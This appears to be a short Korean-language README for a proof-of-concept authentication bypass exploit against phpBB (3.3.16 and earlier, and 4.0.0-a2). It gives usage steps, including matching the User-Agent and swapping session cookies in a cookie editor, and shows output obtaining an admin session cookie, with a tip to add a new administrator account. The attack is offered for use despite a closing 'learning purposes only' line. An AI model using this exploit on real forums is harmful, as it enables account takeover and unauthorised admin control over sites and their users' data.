CVE-2026-48611-phpBB

인증 우회

브라우저를 통해 접속하려는 경우 간단한 poc 인증 우회입니다. 스크립트의 USER_AGENT 변수를 브라우저에 표시되는 값에 맞게 변경하는 것을 잊지 마세요. 그래야 작동합니다. 쿠키 편집기를 사용하여 *_sid 및 *_u 값을 교체하세요.

영향받는 버전: phpBB 3.3.16 이하 + 4.0.0-a2

phpbb  python3 exploit.py https://localhost:8000 joushk
[+] Target:  https://localhost:8000
[+] Target username: joushk
[+] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36

[+] Session cookies obtained:
    phpbb3_cl7ge_u: 2
    phpbb3_cl7ge_k: 
    phpbb3_cl7ge_sid: 4823a1ffeea59187eb31be1809ec0fd3
[+] User ID: 2
[!] User ID is 2 – default admin account.

[!] EXPLOIT SUCCESSFUL!
[!] You now have admin access.
[!] Note: ACP may still ask for password if re-authentication is enabled.
[+] tips: new create user and add to administrator group using bypass account auth and login to ACP Successd

[!!!이 스크립트는 학습 목적으로만 사용됩니다]